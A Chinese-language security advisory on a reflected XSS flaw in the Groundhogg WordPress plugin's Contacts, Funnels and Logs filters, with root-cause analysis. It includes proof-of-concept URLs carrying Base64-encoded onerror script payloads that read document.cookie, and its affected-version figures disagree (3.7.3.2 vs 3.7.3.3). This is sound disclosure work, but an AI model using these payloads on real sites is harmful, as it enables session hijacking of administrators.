WordPress 插件
组件名称 WordPress CRM、电子邮件与营销自动化插件 | 获奖作品 — Groundhogg
受影响版本 <= 3.7.3.2
组件别名 groundhogg
组件链接 https://wordpress.org/plugins/groundhogg/
漏洞类别 A3:注入
漏洞类型 跨站脚本(XSS)
无需认证
Groundhogg 插件 3.7.3.3 及以下版本存在反射型跨站脚本漏洞,原因是插件对 URL 参数的输入验证和转义处理不足。该漏洞出现在插件仪表盘的“联系人”、“漏斗”和“日志”菜单中使用搜索过滤功能时。
通过该漏洞,未认证用户可构造包含恶意脚本的 URL,当其他用户访问该 URL 时,脚本会在其浏览器中执行,可能导致 Cookie 信息泄露。这构成严重的安全风险,尤其可能被利用来劫持具有管理员权限用户的会话。
准备一个已激活“Groundhogg”插件(版本 <=3.7.3.2)的 WordPress 站点。
由于该插件使用 REST API,固定链接必须设置为“文章名”。
随后,访问以下各菜单的链接将触发反射型 XSS 漏洞。
联系人菜单(/wp-admin/admin.php?page=gh_contacts)
http://localhost:8080/wp-admin/admin.php?page=gh_contacts&filters=W1t7ImlkIjoiIiwidHlwZSI6ImZpcnN0X25hbWUiLCJjb21wYXJlIjoiZXF1YWxzIiwidmFsdWUiOiI8aW1nIHNyYz1cInhcIiBvbmVycm9yPVwiYWxlcnQoZG9jdW1lbnQuY29va2llKVwiPiJ9XV0

漏斗菜单(/wp-admin/admin.php?page=gh_funnels)
要在此菜单中复现 XSS 漏洞,至少需要存在 1 个漏斗。
http://localhost:8080/wp-admin/admin.php?page=gh_funnels&status=inactive&include_filters=W1t7ImlkIjoiMTBjY2FmZmUtZjE0YS00MTg5LWE0MzctYjA2MTFhMTQ2ZDk1IiwidHlwZSI6InRpdGxlIiwidmFsdWUiOiI8aW1nIHNyYz1cInhcIiBvbmVycm9yPVwiYWxlcnQoZG9jdW1lbnQuY29va2llKVwiPiIsImNvbXBhcmUiOiJlcXVhbHMifV1d

日志菜单(/admin.php?page=gh_events)
http://localhost:8080/wp-admin/admin.php?page=gh_events&tab=emails&include_filters=W1t7ImlkIjoiIiwidHlwZSI6ImZyb21fYWRkcmVzcyIsInZhbHVlIjoiPGltZyBzcmM9XCJ4XCIgb25lcnJvcj1cImFsZXJ0KGRvY3VtZW50LmNvb2tpZSlcIj4iLCJjb21wYXJlIjoiZXF1YWxzIn1dXQ

在 Groundhogg 插件仪表盘的“联系人”、“漏斗”和“日志”菜单中执行过滤搜索时,过滤设置会先经过 Base64 编码,再作为 URL 参数传递。
例如,在“联系人”菜单中设置“名字”为“Test”的过滤搜索时,URL 参数 filters 会接收到以下数据:
W1t7ImlkIjoiMjM3NzdjMGItYTQ1Ni00M2JlLWExZGMtODkzN2E1MDk0M2I5IiwidHlwZSI6ImZpcnN0X25hbWUiLCJjb21wYXJlIjoiZXF1YWxzIiwidmFsdWUiOiJUZXN0In1dXQ

将 URL 参数 filters 中输入的值进行 Base64 解码后,可以看到以下数据。
[[{"id":"23777c0b-a456-43be-a1dc-8937a50943b9","type":"first_name","compare":"equals","value":"Test"}]]

当请求过滤搜索时,/wp-content/plugins/groundhogg/admin/contacts/contacts-page.php 文件中 Contacts_Page 类的 scripts 函数会被执行。
此时,Base64 编码的 URL 参数 filters 会被解码,并传递给 HTTP 响应中 Javascript 区域的 ContactSearch 变量。

因此,可以验证在 HTTP 响应数据中,传递给 URL 参数 filters 的 Base64 编码数据在传递前已被解码。

随后,解码后的数据会通过 JavaScript 逻辑直接插入到显示过滤搜索结果的 DOM 元素中。

通过这种方式,PoC 中输入的过滤搜索词(<img src="x" onerror="alert(document.cookie)">)会作为 Javascript 代码中的变量传递,未经转义处理即被客户端逻辑插入并执行到 DOM 元素中。


因此,由于对过滤搜索数据的转义处理不足,包含恶意脚本的值可以直接被执行,并且该漏洞在“联系人”、“漏斗”和“日志”所有菜单中均以相同方式存在。